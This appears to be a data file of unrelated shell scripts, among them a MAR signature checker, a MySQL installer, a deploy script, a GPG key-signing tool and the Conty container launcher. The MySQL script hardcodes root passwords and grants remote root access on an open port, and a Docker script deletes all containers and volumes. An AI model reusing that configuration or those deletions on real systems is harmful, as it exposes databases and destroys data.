checking import the\n# release*.der certificate of your choice found in\n# toolkit/mozapps/update/updater by issuing the following commands:\n#\n# mkdir nssdb\n# certutil -d nssdb -N --empty-password\n# certutil -A -n \"marsigner\" -t,, -d nssdb -i /path/to/.der\n#\n# 4) Change into the directory containing the MAR files and the\n# sha256sums-unsigned-build.txt/sha256sums-unsigned-build.incrementals.txt.\n# 5) Run /path/to/marsigning_check.sh\n\nif [ -z \"$SIGNMAR\" ]\nthen\n echo \"The path to your signmar binary is missing!\"\n exit 1\nfi\n\nif [ -z \"$LD_LIBRARY_PATH\" ]\nthen\n echo \"The library search path to your mar-tools directory is missing!\"\n exit 1\nfi\n\nif [ -z \"$NSS_DB_DIR\" ]\nthen\n echo \"The path to your nssdb directory is missing!\"\n exit 1\nfi\n\nunsigned_mars=0\nbadsigned_mars=0\nnot_reproduced_mars=0\n# XXX: Stripping the signature of signed macOS MAR files is currently not\n# expected to be reproducible, see: #20254.\nnot_reproduced_mars_expected=0\n\nmkdir tmp\n\nfor f in *.mar; do\n case $f in\n *.incremental.mar) sha256_txt=$(grep \"$f\" \\\n sha256sums-unsigned-build.incrementals.txt);;\n *) sha256_txt=$(grep \"$f\" sha256sums-unsigned-build.txt);;\n esac\n\n # Test 1: Is the MAR file correctly signed?\n echo \"Verifying the MAR signature of $f...\"\n if ! $SIGNMAR -d \"$NSS_DB_DIR\" -n marsigner -v \"$f\"\n then\n # Something went wrong. Let's figure out what.\n if [ \"$sha256_txt\" = \"$(sha256sum \"$f\")\" ]\n then\n echo \"$f has still the SHA-256 sum of the unsigned MAR file!\"\n unsigned_mars=$((unsigned_mars + 1))\n else\n echo \"$f is either signed with the wrong key or the signature is\" \\\n \"corrupted!\"\n badsigned_mars=$((badsigned_mars +1))\n fi\n fi\n\n # Test 2: Do we get the old SHA-256 sum after stripping the MAR signature? We\n # want to have a test for that to be sure we've the signed MAR files in front\n # of us which we actually want to ship to our users.\n if [ \"$unsigned_mars\" = \"0\" ] && [ \"$badsigned_mars\" = \"0\" ]\n then\n # At least we seem to have succeeded in signing the MAR file. Let's see if\n # it is the expected one.\n echo \"Checking the SHA-256 sum of the stripped $f...\"\n ${SIGNMAR} -r \"$f\" tmp/\"$f\"\n cd tmp || exit 1\n if ! [ \"$sha256_txt\" = \"$(sha256sum \"$f\")\" ]\n then\n not_reproduced_mars=$((not_reproduced_mars + 1))\n case \"$f\" in\n *osx64*)\n not_reproduced_mars_expected=$((not_reproduced_mars_expected + 1))\n ;;\n *) echo \"$f does not have the SHA-256 sum of the unsigned MAR file!\"\n ;;\n esac\n fi\n rm \"$f\"\n cd ..\n fi\n echo \"\"\ndone\n\nrm -rf tmp/\n\nif ! [ \"$unsigned_mars\" = \"0\" ] || ! [ \"$badsigned_mars\" = \"0\" ]\nthen\n echo \"We got:\"\n if ! [ \"$unsigned_mars\" = \"0\" ]\n then\n echo \"$unsigned_mars unsigned MAR file(s)\"\n fi\n if ! [ \"$badsigned_mars\" = \"0\" ]\n then\n echo \"$badsigned_mars badly signed MAR file(s)\"\n fi\n echo \"exiting...\"\n exit 1\nfi\n\nif ! [ \"$not_reproduced_mars\" = \"0\" ]\nthen\n echo \"We got $not_reproduced_mars non-matching, signed MAR files.\"\n if [ \"$not_reproduced_mars\" -eq \"$not_reproduced_mars_expected\" ]\n then\n echo \"This is currently expected as we got the same amount of\" \\\n \"non-matching macOS MAR files.\"\n echo \"The signatures and non-macOS MAR files are fine.\"\n exit 0\n else\n echo \"This is currently unexpected as we only got\" \\\n \"$not_reproduced_mars_expected non-matching macOS MAR files,\" \\\n \"exiting...\"\n exit 1\n fi\nelse\n echo \"The signatures and MAR files are fine.\"\n exit 0\nfi"} {"text": "#!/bin/bash\n#\n#\tDatenbank installieren und Konfigurieren\n#\n\n# root Password setzen, damit kein Dialog erscheint und die Installation haengt!\nsudo debconf-set-selections <<< 'mysql-server mysql-server/root_password password '\nsudo debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password '\n\n# Installation\nsudo apt-get install -y mysql-server\n\n# MySQL Port oeffnen\nsudo sed -i -e\"s/^bind-address\\s*=\\s*127.0.0.1/bind-address = 0.0.0.0/\" /etc/mysql/mysql.conf.d/mysqld.cnf\n\n# User fuer Remote Zugriff einrichten - aber nur fuer Host web 192.168.55.101\nmysql -uroot -pS3cr3tp4ssw0rd <<%EOF%\n\tCREATE USER 'root'@'192.168.55.101' IDENTIFIED BY 'admin';\n\tGRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.55.101';\n\tFLUSH PRIVILEGES;\n%EOF%\n\n# Datenbank und User fuer IoT Daten anlegen \nmysql -uroot -pS3cr3tp4ssw0rd <<%EOF%\n\tcreate database if not exists sensoren;\n\tcreate user 'www-data'@'localhost' identified by 'mbed'; \n\tgrant usage on *.* to 'www-data'@'192.168.55.101' identified by 'mbed';\n\tgrant all privileges on sensoren.* to 'www-data'@'192.168.55.101';\n\tflush privileges;\n\tuse sensoren;\n\tcreate table data ( seq INT PRIMARY KEY AUTO_INCREMENT, poti FLOAT, light FLOAT, hall FLOAT, temp FLOAT, created TIMESTAMP DEFAULT CURRENT_TIMESTAMP );\n\tinsert into data(poti, light, hall, temp) values ( 0.9, 0.8, 0.49, 25.2 );\n\tinsert into data(poti, light, hall, temp) values ( 0.8, 0.7, 0.48, 25.1 );\n%EOF%\n\n# Restart fuer Konfigurationsaenderung\nsudo service mysql restart\n\n# Monitoring\nsudo cp /vagrant/cron.root.db01 /var/spool/cron/crontabs/root && sudo chmod 600 /var/spool/cron/crontabs/root\nsudo service cron reload"} {"text": "1-10\n#!/bin/bash\n\ncd /opt/infrastructure/ansible/niam/ &&\\\nansible-galaxy install -r requirements.yml &&\\\nansible-playbook site.yml --become-user=ubuntu --vault-password-file /keys/grits_vault_password --private-key /var/lib/jenkins/.ssh/id_rsa --tags niam &&\\\n\n#Upload new docker image to S3\nsudo docker save niam > /tmp/niam.tar &&\\\nsudo gzip -1 /tmp/niam.tar &&\\\nsudo aws s3 cp /tmp/niam.tar.gz s3://bsve-integration/niam.tar.gz &&\\\nsudo rm /tmp/niam.tar* &&\\\n\n# Notify BSVE to redeploy\naws sns publish --topic-arn arn:aws:sns:us-east-1:789867670404:EHA-Git-Lambda --message '{\"app\":\"niam\"}' --profile bsve-user"} {"text": "echo off\n\nif [[ -d ~/.dotfiles ]]; then\n echo \".dotfiles already exists, skipping setup\"\n exit\nfi\n\ngit clone --recurse-submodules git@github.com:zbigniew-malinowski/dotfiles.git ~/.dotfiles\n\nif [[ -h ~/.zshrc ]] ; then\n echo \"removing old link\"\n rm ~/.zshrc\nfi\n\nif [[ -e ~/.zshrc ]] ; then\n echo \"backing up old .files\"\n mkdir ~/.dotfiles.old\n mv ~/.zshrc ~/.dotfiles.old/.zshrc\nfi\n\necho \"linking .files\"\nln ~/.dotfiles/zshrc ~/.zshrc\n\nif eval which zsh ; then\n if [[ $SHELL == *\"zsh\"* ]]; then\n echo \"zsh installed and ready to go, \"\n echo \"please restart the terminal\"\n exit\n fi\nelse\n echo \"installing zsh\"\n brew install zsh\nfi\n\necho \"setting zsh as the default shell\"\nsudo echo \"$(which zsh)\" >> /etc/shells\nchsh -s $(which zsh)\n\necho \"please restart the terminal\""} {"text": "#!/usr/bin/env bash\n\ncc -o demo main.c $(pkg-config --cflags --libs glib-2.0)\n\n# https://developer.gnome.org/glib/stable/glib-compiling.html"} {"text": "#!/bin/bash\n\nset -e\n\n\nif [[ \"$1\" == \"clean\" ]]; then\n\techo \"Clean build ...\"\nrm -rf ./out/ios_debug_sim_unopt\nrm -rf ./out/ios_debug_unopt\nrm -rf ./out/ios_release\nrm -rf ./out/host_debug_unopt\nrm -rf ./out/host_release\nfi \n\n\nif [[ \"$1\" == \"clean\" ]] || [[ ! -d ./out/ios_debug_sim_unopt ]]; then\n./flutter/tools/gn --ios --simulator --unoptimized\nfi \n\nninja -C out/ios_debug_sim_unopt \n\ndate\n\nif [[ \"$1\" == \"clean\" ]] || [[ ! -d ./out/ios_debug_unopt ]]; then\n./flutter/tools/gn --ios --unoptimized --no-goma --bitcode\nfi \n\nninja -C out/ios_debug_unopt \n\ndate\n\nif [[ \"$1\" == \"clean\" ]] || [[ ! -d ./out/ios_release ]]; then\n./flutter/tools/gn --ios --runtime-mode=release --no-goma --bitcode\nfi \n\nninja -C out/ios_release \n\ndate\n\nif [[ \"$1\" == \"clean\" ]] || [[ ! -d ./out/host_debug_unopt ]]; then\n./flutter/tools/gn --unoptimized\nfi \nninja -C out/host_debug_unopt\n\ndate\n\nif [[ \"$1\" == \"clean\" ]] || [[ ! -d ./out/host_release ]]; then\n./flutter/tools/gn --no-lto --runtime-mode=release\nfi \nninja -C out/host_release"} {"text": "Logimethods/smart-meterstop.sh\ndocker service rm $(docker service ls -q)\ndocker stop $(docker ps | grep -v aws | cut -d ' ' -f 1)\ndocker rm $(docker ps -a -q)\n#https://gist.github.com/brianclements/f72b2de8e307c7b56689\ndocker rmi $(docker images | grep \"\" | awk '{print $3}') 2>/dev/null || echo \"No untagged images to delete.\"\n#docker volume prune\ndocker volume rm $(docker volume ls -q | grep -v grafana-volume)\n# | grep -v cassandra-volume"} {"text": "#!/bin/sh\n#\n# Usage: repodetect.sh \n#\n# Version: Mandatory\n# Yum_server:\n# - Blank or 'Local' -> use a local file source\n# - Anything else -> use this is the URI at which to point.\n\nunknown=\"REPODETECT_UNKNOWN_OS_TYPE\"\ntype=$unknown\n\nversion=$1\nyum_server=$2\n\nif [ -z $version ]; then\n echo \"Error: You must pass as the first argument\";\n exit 1;\nfi\n\narch=\"i386\"\nif [ `uname -m` == \"x86_64\" ]; then arch=\"x86_64\"; fi\n\ngrep -q 'Red Hat' /etc/redhat-release\nif [ $? == 0 ]; then\n type=\"RedHat\"\nelse\n grep -q 'CentOS' /etc/redhat-release\n if [ $? == 0 ]; then type=\"CentOS\"; fi\nfi\n\nif [ \"$type\" == \"$unknown\" ]; then\n grep -q \"url is.*RedHat\" /tmp/anaconda.log\n if [ $? == 0 ];\n then type=\"RedHat\"\n else\n grep -q \"url is.*CentOS\" /tmp/anaconda.log\n if [ $? == 0 ]; then type=\"CentOS\"; fi\n fi\nfi\n\nif [ -z $yum_server ] || [ $yum_server == 'local' ]; then\n uri_header=\"file:///mnt/install/repo\"\n local_header=\"$uri_header/SIMP/$arch\"\nelse\n uri_header=\"https://$yum_server/yum/$type/$version/$arch\";\n local_header=\"https://$yum_server/yum/SIMP/$arch\";\nfi\n\nif [ \"$type\" == 'RedHat' ]; then\n cat << EOF > /tmp/repo-include\nrepo --name=\"HighAvailability\" --baseurl=\"$uri_header/addons/HighAvailability\"\nrepo --name=\"ResilientStorage\" --baseurl=\"$uri_header/addons/ResilientStorage\"\nrepo --name=\"Base\" --baseurl=\"$uri_header\"\nrepo --name=\"Local\" --baseurl=\"$local_header\"\nEOF\nelif [ \"$type\" == 'CentOS' ]; then\n cat << EOF > /tmp/repo-include\nrepo --name=\"Server\" --baseurl=\"$uri_header\"\nrepo --name=\"Local\" --baseurl=\"$local_header\"\nEOF\nfi"} {"text": "imcotton/tabs-reloader\n#!/bin/sh\n\nsource=../source\n\nversion=$(cat $source/manifest.json | grep \\\"version\\\": | awk '{print $2}' | sed 's/\"//g')\nname=\"tabs_reloader-v$version.zip\"\n\ncoffee -c $source\n\nzip -j $name $source/*"} {"text": "sign.sh\n#!/bin/bash -eu\n\n# Copyright (C) <>\n# SPDX-License-Identifier: BSD-2-Clause\n\n#################################\n# Configurations\n\n\n# Change this!\n#readonly policyUrl=\"http://mats.mexit.se/files/gpg-signature-policy.md\"\n#readonly signingKeyId=\n\n# Be verbose, 0 = false, 1 = true\nreadonly verbose=0\n\n#################################\n# End of configurations\n\n# Sign all keys found as files with .gpg as extension in the current working\n# directory. All signed key files are written to \"out\" sub-directory to\n# current working directory.\n#\n# Syntax:\n# sign.sh\n\n# Determine gpg verbose parameter\ncase $verbose in\n 0) VERB=\"-q\" ;;\n 1) VERB=\"\" ;;\n 2) VERB=\"-v\" ;;\n *) VERB=\"-vv\" ;;\nesac\n\n# Working directory, cleaned up at exit\nreadonly wdir=$(mktemp -d -t sign.XXXXXXXXXX)\n\n# Output directory, this is where all resulting files are placed\nreadonly odir=\"$(pwd)/out\"\n\n# GPG command with ubiquitous parameters\nreadonly GPG=\"$(which gpg2)\"\n\n# Make sure GPG uses the correct TTY\nexport GPG_TTY=$(tty)\n\n# Function run when exiting script\nfunction finish {\n rm -rf \"$wdir\"\n}\n\n# Make sure above function is run when script exits\ntrap finish EXIT\n \n# Import key file, sign the key, and export to a keyfile in the working\n# directory\n\n# Export key to be signed including signature for given uid.\n# Key will be exported to a file encrypted by the key to be signed.\n#\n# Assumptions:\n# The key is found in ${wdir}/${keyid}.gpg, which should be done by signKey()\n\ncreateSignature() {\n declare -r keyid=\"$1\"\n declare -r uid=\"$2\"\n declare -r uidIdx=\"$3\"\n declare -r keyfile=\"$4\"\n\n # E-mail part of uid\n declare -r email=$(echo \"$uid\" | sed -r 's/.*<(.*)>.*/\\1/')\n\n # Keyring to use while working with the key\n declare -r keyring=\"${wdir}/${keyid}.${uidIdx}.keyring\"\n \n # If no email, then nothing to do\n [[ -z $email ]] && return 0\n\n $GPG $VERB --yes --no-default-keyring --keyring ${keyring} --import ${keyfile}\n\n declare -r fullKeyId=$($GPG $VERB --yes --no-default-keyring --keyring ${keyring} --with-colons --list-keys ${keyid} | egrep '^pub:' -m 1 | sed -r 's/^.*:(.*?):.*:.*:.*:.*:.*:.*:.*:$/\\1/')\n\n declare -a uids\n\n # Get list of all uids in the key\n IFS='\n' uids=($($GPG $VERB --yes --no-default-keyring --keyring ${keyring} --with-colons --list-keys ${keyid} | sed -rn 's/^uid:.*:(.*):$/\\1/p'))\n\n # Filter out unwanted uids\n declare -ia removeUids=()\n declare -i idx\n for (( idx = 0; idx < ${#uids[@]}; idx++ )); do\n\tif [[ ${uids[idx]} != $uid ]]; then\n\t # Unwanted uid, mark for removal\n\t removeUids+=($(( idx+1 )) )\n\tfi\n done\n\n [[ ${#removeUids[@]} > 0 ]] && $GPG $VERB --yes --no-default-keyring --keyring ${keyring} --key-edit ${keyid} ${removeUids[@]:-} deluid save\n\n # File name of key to create\n declare -r keyfileToCreate=\"${odir}/${fullKeyId}.${uidIdx}-signed-by-${signingKeyId}.asc\"\n \n # Export key now containing only the wanted uid\n $GPG $VERB --yes --no-default-keyring --keyring ${keyring} --output ${keyfileToCreate} --armor --export ${keyid}\n\n printf \"\\n---- ${keyfileToCreate}: Created ----\\n\\n\"\n}\n\nsignKey() {\n declare -r keyid=\"$1\"\n\n declare -r keyfile=\"${wdir}/${keyid}.gpg\"\n\n # Import key from file to working keyring \n $GPG $VERB --yes --import ${keyid}.gpg\n\n # Remove others signatures\n $GPG $VERB --yes --edit-key ${keyid} clean minimize save\n\n # Add our own signature\n $GPG $VERB --yes --sig-policy-url ${policyUrl} --default-key ${signingKeyId} --sign-key ${keyid}\n\n # Export to a new key file from keyring\n $GPG $VERB --yes --output ${keyfile} --export ${keyid}\n\n declare -a uids\n\n # Get list of all uids in the key\n IFS='\n' uids=($($GPG $VERB --yes --with-colons --list-keys ${keyid} | sed -rn 's/^uid:[-mfuws]:.*:(.*):$/\\1/p'))\n\n declare -i idx\n for (( idx = 0; idx < ${#uids[@]}; idx++ )); do\n\tcreateSignature \"${keyid}\" \"${uids[idx]}\" \"$(( idx+1 ))\" \"${keyfile}\"\n done\n}\n\n#\n# Main function\n#\n\n# Check that the policy URL is correct\nread -p \"$policyUrl: Enter 'y' if this is the correct policy URL: \" -n 1 answer\necho\n[[ $answer != y ]] && {\n printf \"ABORTING\\n\"\n exit 1\n}\n\n# Copy GNUPG configuration, so we do not alter the original one\nmkdir ${wdir}/gnupg\ncp -r ${GNUPGHOME:-~/.gnupg}/* ${wdir}/gnupg\n\n# Start using our own GNUPG configuration\nexport GNUPGHOME=${wdir}/gnupg\n\n# Ensure correct access rights to gnupg directory\nchmod 0700 $GNUPGHOME\n\n# Create output directory, if needed\nmkdir -p ${odir}\n\n# Iterate all GPG files in current directory\nfor file in *.gpg; do\n keyid=$(basename $file .gpg)\n signKey \"$keyid\" || printf \"**** WARNING: Key ${keyid} not signed!\\n\" >&2\ndone"} {"text": "#!/usr/bin/env bash\n\n## Dependencies: bash gzip fuse2 (or fuse3) tar coreutils\n\n# Prevent launching as root\nif [ $EUID = 0 ] && [ -z \"$ALLOW_ROOT\" ]; then\n\techo \"Do not run this script as root!\"\n\techo\n\techo \"If you really need to run it as root and you know what you are doing,\"\n\techo \"set ALLOW_ROOT environment variable.\"\n\n\texit 1\nfi\n\nscript_version=\"1.18.1\"\n\n# Full path to the script\nscript_literal=\"${BASH_SOURCE[0]}\"\nscript_name=\"$(basename \"${script_literal}\")\"\nscript=\"$(readlink -f \"${script_literal}\")\"\n\n# MD5 of the last 1 MB of the file\nscript_md5=\"$(tail -c 1000000 \"${script}\" | md5sum | head -c 7)\"\n\nscript_id=\"${RANDOM}\"\n\n# Working directory where the utils will be extracted\n# And where the image will be mounted\n# The default path is /tmp/scriptname_username_scriptmd5\n# And if /tmp is mounted with noexec, the default path\n# is ~/.local/share/Conty/scriptname_username_scriptmd5\nconty_dir_name=\"$(basename \"${script}\")\"_\"${USER}\"_\"${script_md5}\"\n\nif [ -z \"${BASE_DIR}\" ]; then\n\texport working_dir=/tmp/\"${conty_dir_name}\"\nelse\n\texport working_dir=\"${BASE_DIR}\"/\"${conty_dir_name}\"\nfi\n\nmount_point=\"${working_dir}\"/mnt\n\n# It's important to set correct sizes below, otherwise there will be\n# a problem with mounting the image due to an incorrectly calculated offset.\n\n# The size of this script\nscriptsize=25224\n\n# The size of the utils archive\nutilssize=2850852\n\n# Offset where the image is stored\noffset=$((scriptsize+utilssize))\n\n# Set to 1 if you are using an image compressed with dwarfs instead of squashfs\n#\n# Also, don't forget to change the utilssize variable to the size of\n# utils_dwarfs.tar.gz\ndwarfs_image=0\n\ndwarfs_cache_size=\"128M\"\ndwarfs_num_workers=\"2\"\n\n# These arguments are used to rebuild the image when using the self-update function\nsquashfs_comp_arguments=\"-b 256K -comp zstd -Xcompression-level 14\"\ndwarfs_comp_arguments=\"-l7 -C zstd:level=19 --metadata-compression null \\\n -S 22 -B 2 --order nilsimsa:255:40000:40000 \\\n --bloom-filter-size 11 -W 15 -w 3\"\n\nif [ \"$1\" = \"--help\" ] || [ \"$1\" = \"-h\" ] || ([ -z \"$1\" ] && [ ! -L \"${script_literal}\" ]); then\n\techo \"Usage: ./conty.sh command command_arguments\"\n\techo\n\techo \"Arguments:\"\n\techo\n\techo -e \"-v \\tShow version of this script\"\n\techo -e \"-V \\tShow version of the image\"\n\techo -e \"-e \\tExtract the image\"\n\techo -e \"-o \\tShow the image offset\"\n\techo -e \"-l \\tShow a list of all installed packages\"\n\techo -e \"-m \\tMount/unmount the image\"\n\techo -e \"\\tThe image will be mounted if it's not mounted, and unmounted otherwise.\"\n\techo -e \"\\tMount point can be changed with the BASE_DIR env variable\"\n\techo -e \"\\t(the default is /tmp).\"\n\techo -e \"-u \\tUpdate all packages inside the container\"\n\techo -e \"\\tThis will update all packages inside the container and will rebuild\"\n\techo -e \"\\tthe image. This may take quite a lot of time, depending\"\n\techo -e \"\\ton your hardware and internet speed. Additional disk space\"\n\techo -e \"\\t(about 6x the size of the current file) is needed during\"\n\techo -e \"\\tthe update process.\"\n\techo -e \"-U \\tThe same as -u but will also update the init script (conty-start.sh)\"\n\techo -e \"\\tand the integrated utils. This option may break Conty in some cases,\"\n\techo -e \"\\tuse with caution.\"\n\techo\n\techo \"Arguments that don't match any of the above will be passed directly to\"\n\techo \"bubblewrap. So all bubblewrap arguments are supported as well.\"\n\techo\n\techo \"Environment variables:\"\n\techo\n\techo -e \"DISABLE_NET \\tDisables network access\"\n\techo -e \"SANDBOX \\tEnables sandbox\"\n\techo -e \"SANDBOX_LEVEL \\tControls the strictness of the sandbox\"\n\techo -e \"\\t\\tAvailable levels are 1-3. The default is 1.\"\n\techo -e \"\\t\\tLevel 1 isolates all user files.\"\n\techo -e \"\\t\\tLevel 2 isolates all user files, disables dbus and hides\"\n\techo -e \"\\t\\tall running processes.\"\n\techo -e \"\\t\\tLevel 3 does the same as the level 2, but additionally\"\n\techo -e \"\\t\\tdisables network access and isolates X11 server with Xephyr.\"\n\techo -e \"XEPHYR_SIZE \\tSets the size of the Xephyr window. The default is 800x600.\"\n\techo -e \"BIND \\t\\tMounts directories and files (separated by space) from the\"\n\techo -e \"\\t\\thost system to the container. All specified items must exist.\"\n\techo -e \"\\t\\tFor example, BIND=\\\"/home/username/.config /etc/pacman.conf\\\"\"\n\techo -e \"\\t\\tThis is mainly useful for allowing access to specific\"\n\techo -e \"\\t\\tdirs/files when SANDBOX is enabled.\"\n\techo -e \"BIND_RO \\tThe same as BIND but mounts as read-only.\"\n\techo -e \"HOME_DIR \\tSets the HOME directory to a custom location.\"\n\techo -e \"\\t\\tFor example, HOME_DIR=\\\"/home/username/custom_home\\\"\"\n\techo -e \"\\t\\tIf you set this, HOME inside the container will still appear\"\n\techo -e \"\\t\\tas /home/username, but actually a custom directory will be\"\n\techo -e \"\\t\\tused for it.\"\n\techo -e \"USE_SYS_UTILS \\tMakes the script to use squashfuse/dwarfs and bwrap\"\n\techo -e \"\\t\\tinstalled on the system instead of the builtin ones.\"\n\techo -e \"SUDO_MOUNT \\tMakes the script to mount the squashfs image by using\"\n\techo -e \"\\t\\tthe regular mount command instead of squashfuse. In this\"\n\techo -e \"\\t\\tcase root rights will be requested (via sudo) when mounting\"\n\techo -e \"\\t\\tand unmounting. This doesn't work for dwarfs-compressed images.\"\n\techo -e \"BASE_DIR \\tSets a custom directory where Conty will extract\"\n\techo -e \"\\t\\tits builtin utilities and mount the image.\"\n\techo -e \"\\t\\tThe default location is /tmp.\"\n\techo -e \"QUIET_MODE \\tDisables all non-error Conty messages.\"\n\techo -e \"\\t\\tDoesn't affect the output of applications.\"\n\techo\n\techo \"Additional notes:\"\n\techo\n\techo \"If you enable SANDBOX but don't set BIND or HOME_DIR, then no system\"\n\techo \"directories/files will be available at all inside the container and a fake\"\n\techo \"temporary HOME directory will be used.\"\n\techo\n\techo \"Which SANDBOX_LEVEL to use? Well, if you just want to isolate your files from\"\n\techo \"an application, then the level 1 (default) is enough. However, if an\"\n\techo \"application doesn't strictly require dbus and doesn't need to communicate with\"\n\techo \"other processes, then i recommend to use at least the level 2, which\"\n\techo \"is more secure and is better for running untrusted or malicious apps. And\"\n\techo \"for maximum protection use the level 3 (or Wayland + level 2), which protects\"\n\techo \"even against X11 keyloggers. Disabling internet access with DISABLE_NET is also\"\n\techo \"a very good idea if an application does not require constant internet access.\"\n\techo\n\techo \"If the script is a symlink to itself but with a different name,\"\n\techo \"then the symlinked script will automatically run a program according\"\n\techo \"to its name. For instance, if the script is a symlink with the name \\\"wine\\\",\"\n\techo \"then it will automatically run wine during launch.\"\n\techo\n\techo \"Besides updating all packages, you can also remove and install packages using\"\n\techo \"the same -u (or -U) argument. To install packages add them as additional\"\n\techo \"arguments, and to remove packages add a minus sign (-) before their names.\"\n\techo \"To install: ./conty.sh -u pkgname1 pkgname2 pkgname3\"\n\techo \"To remove: ./conty.sh -u -pkgname1 -pkgname2 -pkgname3\"\n\techo \"In this case Conty will update all packages and will additionally\"\n\techo \"install and/or remove specified packages.\"\n\techo\n\techo \"If you are using an Nvidia GPU, please read the information\"\n\techo \"here: https://github.com/Kron4ek/Conty#known-issues\"\n\texit\nelif [ \"$1\" = \"-v\" ]; then\n\techo \"${script_version}\"\n\n\texit\nelif [ \"$1\" = \"-e\" ]; then\n\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\tif command -v dwarfsextract 1>/dev/null; then\n\t\t\tmkdir \"$(basename \"${script}\")\"_files\n\n\t\t\tdwarfsextract -i \"${script}\" -o \"$(basename \"${script}\")\"_files -O ${offset}\n\t\telse\n\t\t\techo \"To extract the image install dwarfs.\"\n\t\tfi\n\telse\n\t\tif command -v unsquashfs 1>/dev/null; then\n\t\t\tunsquashfs -o ${offset} -user-xattrs -d \"$(basename \"${script}\")\"_files \"${script}\"\n\t\telse\n\t\t\techo \"To extract the image install squashfs-tools.\"\n\t\tfi\n\tfi\n\n\texit\nelif [ \"$1\" = \"-o\" ]; then\n\techo ${offset}\n\n\texit\nfi\n\nshow_msg () {\n\tif [ \"${QUIET_MODE}\" != 1 ]; then\n\t\techo \"$@\"\n\tfi\n}\n\nexec_test () {\n\tmkdir -p \"${working_dir}\"\n\n\texec_test_file=\"${working_dir}\"/exec_test\n\n\trm -f \"${exec_test_file}\"\n\ttouch \"${exec_test_file}\"\n\tchmod +x \"${exec_test_file}\"\n\n\t[ -x \"${exec_test_file}\" ]\n}\n\nlaunch_wrapper () {\n\tif [ \"$1\" = \"mount\" ]; then\n\t\t${use_sudo} \"$@\"\n\telif [ \"${USE_SYS_UTILS}\" = 1 ]; then\n\t\t\"$@\"\n\telse\n\t\t\"${working_dir}\"/utils/ld-linux-x86-64.so.2 --library-path \"${working_dir}\"/utils \"$@\"\n\tfi\n}\n\n# Disable the regular mount command when using a dwarfs-compressed image\n# because Linux kernel doesn't support dwarfs directly, only via FUSE\nif [ \"${dwarfs_image}\" = 1 ]; then\n\tunset SUDO_MOUNT\nfi\n\n# Check if FUSE is installed when SUDO_MOUNT is not enabled\nif [ \"${SUDO_MOUNT}\" != 1 ]; then\n\tif ! command -v fusermount3 1>/dev/null && ! command -v fusermount 1>/dev/null; then\n\t\techo \"Please install fuse2 or fuse3 and run the script again.\"\n\t\texit 1\n\tfi\n\n\tif command -v fusermount3 1>/dev/null; then\n\t\tfuse_version=3\n\tfi\nfi\n\n# Set the dwarfs block cache size depending on how much RAM is available\n# Also set the number of workers depending on the number of CPU cores\nif [ \"${dwarfs_image}\" = 1 ]; then\n\tif getconf _PHYS_PAGES &>/dev/null && getconf PAGE_SIZE &>/dev/null; then\n\t\tmemory_size=\"$(($(getconf _PHYS_PAGES) * $(getconf PAGE_SIZE) / (1024 * 1024)))\"\n\n\t\tif [ \"${memory_size}\" -ge 23000 ]; then\n\t\t\tdwarfs_cache_size=\"2048M\"\n\t\telif [ \"${memory_size}\" -ge 15000 ]; then\n\t\t\tdwarfs_cache_size=\"1024M\"\n\t\telif [ \"${memory_size}\" -ge 7000 ]; then\n\t\t\tdwarfs_cache_size=\"512M\"\n\t\telif [ \"${memory_size}\" -ge 3000 ]; then\n\t\t\tdwarfs_cache_size=\"256M\"\n\t\telif [ \"${memory_size}\" -ge 1500 ]; then\n\t\t\tdwarfs_cache_size=\"128M\"\n\t\telse\n\t\t\tdwarfs_cache_size=\"64M\"\n\t\tfi\n\tfi\n\n\tif getconf _NPROCESSORS_ONLN &>/dev/null; then\n\t\tdwarfs_num_workers=\"$(getconf _NPROCESSORS_ONLN)\"\n\n\t\tif [ \"${dwarfs_num_workers}\" -ge 16 ]; then\n\t\t\tdwarfs_num_workers=16\n\t\tfi\n\tfi\nfi\n\n# Extract utils.tar.gz\nmkdir -p \"${working_dir}\"\n\nif [ \"${USE_SYS_UTILS}\" != 1 ]; then\n\t# Check if filesystem of the working_dir is mounted without noexec\n\tif ! exec_test; then\n\t\tif [ -z \"${BASE_DIR}\" ]; then\n\t\t\texport working_dir=\"${HOME}\"/.local/share/Conty/\"${conty_dir_name}\"\n\t\t\tmount_point=\"${working_dir}\"/mnt\n\t\tfi\n\n\t\tif ! exec_test; then\n\t\t\techo \"Seems like /tmp is mounted with noexec or you don't have write access!\"\n\t\t\techo \"Please remount it without noexec or set BASE_DIR to a different location.\"\n\n\t\t\texit 1\n\t\tfi\n\tfi\n\n\tif ! command -v tar 1>/dev/null || ! command -v gzip 1>/dev/null; then\n\t\techo \"Please install tar and gzip and run the script again.\"\n\t\texit 1\n\tfi\n\n\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\tmount_tool=\"${working_dir}\"/utils/dwarfs${fuse_version}\n\telse\n\t\tmount_tool=\"${working_dir}\"/utils/squashfuse${fuse_version}\n\tfi\n\n\tbwrap=\"${working_dir}\"/utils/bwrap\n\n\tif [ ! -f \"${mount_tool}\" ] || [ ! -f \"${bwrap}\" ]; then\n\t\ttail -c +$((scriptsize+1)) \"${script}\" | head -c ${utilssize} | tar -C \"${working_dir}\" -zxf -\n\n\t\tif [ ! -f \"${mount_tool}\" ] || [ ! -f \"${bwrap}\" ]; then\n\t\t\tclear\n\t\t\techo \"The integrated utils were not extracted!\"\n\t\t\techo \"Perhaps something is wrong with the integrated utils.tar.gz.\"\n\n\t\t\texit 1\n\t\tfi\n\n\t\tchmod +x \"${mount_tool}\"\n\t\tchmod +x \"${bwrap}\"\n\tfi\nelse\n\tif ! command -v bwrap 1>/dev/null; then\n\t\techo \"USE_SYS_UTILS is enabled, but bubblewrap is not installed!\"\n\t\techo \"Please install it and run the script again.\"\n\n\t\texit 1\n\tfi\n\n\tbwrap=bwrap\n\n\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\tif ! command -v dwarfs 1>/dev/null && ! command -v dwarfs2 1>/dev/null; then\n\t\t\techo \"USE_SYS_UTILS is enabled, but dwarfs is not installed!\"\n\t\t\techo \"Please install it and run the script again.\"\n\n\t\t\texit 1\n\t\tfi\n\n\t\tif command -v dwarfs2 1>/dev/null; then\n\t\t\tmount_tool=dwarfs2\n\t\telse\n\t\t\tmount_tool=dwarfs\n\t\tfi\n\telse\n\t\tif ! command -v squashfuse 1>/dev/null && [ \"${SUDO_MOUNT}\" != 1 ]; then\n\t\t\techo \"USE_SYS_UTILS is enabled, but squshfuse is not installed!\"\n\t\t\techo \"Please install it and run the script again.\"\n\t\t\techo \"Or enable 